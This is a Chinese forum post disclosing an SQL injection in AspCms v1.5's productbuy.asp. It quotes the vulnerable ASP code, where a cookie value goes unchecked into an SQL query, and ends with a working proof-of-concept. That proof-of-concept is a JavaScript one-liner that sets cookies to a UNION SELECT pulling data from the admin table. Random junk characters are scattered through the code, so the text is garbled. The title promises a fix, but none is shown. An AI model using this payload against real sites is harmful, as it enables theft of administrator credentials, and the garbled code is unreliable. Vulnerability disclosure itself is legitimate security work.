AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
( O' s" K; p  I5 N3 @* i7 I1 R$ Z" A废话不多说，看代码：
! y# l7 L7 q, u8 z7 ~. n: j4 t- u
7 S3 Y* u$ O0 X/ `6 `2 P% a; o! c<%

9 v2 H4 U0 |+ Y/ y0 A* q$ wif action = "buy" then
3 _: Z3 ?& q' o6 p, X: v
; Q9 J# g6 M+ ?. E7 {  H1 H2 o6 e: p        addOrder()

4 y) @# C- K+ Eelse
9 q/ z" k! b! X1 {, y( T6 C
' H* ]# |6 n" z& N" `  x; I        echoContent()
* T* F8 d; M& `! |  ]5 N. ?6 H+ l. \
5 f: R) B! A0 K& ]3 A* qend if
* E7 U) }& h- x0 ?$ I& K% C' D* ~

, m% Y+ C1 e' O
$ e3 f/ Q& [( V* J……略过
) ?) o$ n) n' o3 ?; Q
% _6 y" x9 L( G! r
& q6 u  P9 z3 v" L2 {
# T- D9 D! ]/ L3 K/ ASub echoContent()
) h( m+ \4 _/ R- p& q1 M' W
        dim id

        id=getForm("id","get")

. Y7 M; {& ]' ~9 v        
( M! H- Q4 o: S9 g
: R- }! ~2 ]) o  x& I) |        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
9 z6 a. j' f+ T% G8 c
        

5 W' V2 u4 P. Y# v" s& Y        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

% ?- p6 j5 d1 ^# @8 q+ f        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
) e% R5 @  i) u8 E. q

% O% A4 ]1 x' o- Y1 k) h
/ f5 ]6 E5 B4 k& y2 Y. R# k$ o2 k        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
# d: h1 e. b, x/ l$ ]5 b7 k
        selectproduct=rsObj(0)
9 b2 y7 z1 b6 H' W2 Z0 _; N% x7 Q
        

6 U; c6 N2 }' x+ S- j        Dim linkman,gender,phone,mobile,email,qq,address,postcode

# o0 f7 j: Z4 w( |  e        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  

, ^6 L4 _% F" |3 ]; f) l) |" \$ B                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
% q2 P( D. }( |- c0 Z- R. ^1 X1 b
! l' L) W- A6 W6 Q1 l, b/ Z: B                gender=rsObj("gender")
: L- ^' Z3 F4 p+ a: Q0 _
" a/ c+ b* u! x, x                phone=rsObj("phone")

' q2 X# N& M" S                mobile=rsObj("mobile")
7 ], Y6 P* F1 h+ m* h
: z- g* v1 p8 C$ K0 E3 S$ L                email=rsObj("email")

                qq=rsObj("qq")
5 K7 \6 _8 z5 J5 @0 v1 A
                address=rsObj("address")

) T! ~8 x  o1 l% k8 K9 X( ~( l                postcode=rsObj("postcode")

/ K$ F# N0 ]+ c0 r7 I: \; ]6 k8 A        else

                gender=1
% ~3 S/ ~% R0 m
        end if
: c8 n4 D+ }# O, L! w- T
        rsObj.close()
( k# }3 q' U! b, ~! F7 T
               
  I5 U5 I; Y( i0 i
        with templateObj

                .content=loadFile(templatePath)        
( ~* |, D8 ~6 R+ p0 b  D
; ~8 T' P' D  W                .parseHtml()
* V" r1 K- ^$ C" ~0 O' y
4 \- S7 D0 H0 Z5 @. L6 b, K" Q7 |                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
1 \! \0 l2 U2 x2 }% w
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
  j( h8 k# L3 M
1 q, Z. n. G7 Y% t8 ]                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

$ z& s# k. j0 e5 v                .content=replaceStr(.content,"[aspcms:email]",email)                        
) |& k* O4 t: f* w- c# `
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
6 k" v/ |: V/ P; k  _
' R" u; s0 `2 @) j+ v! H! }8 x( K                .content=replaceStr(.content,"[aspcms:address]",address)                        
5 R& A0 Y, E$ B2 z: i& c
, i: c8 O* O# l3 W9 i                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
/ K+ Z' A; o4 Z; ?6 ^& F
9 r$ T' {6 t% Y: }                .parseCommon()                 
% O3 N& ~/ Y% i4 w8 l7 U6 v/ F
- _6 O  p, P( K                echo .content

        end with

        set templateobj =nothing : terminateAllObjects

End Sub
漏洞很明显，没啥好说的
' D/ H: O! O- y. P% w6 }! D) j! Bpoc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

. Y0 D' g$ {& M7 F; q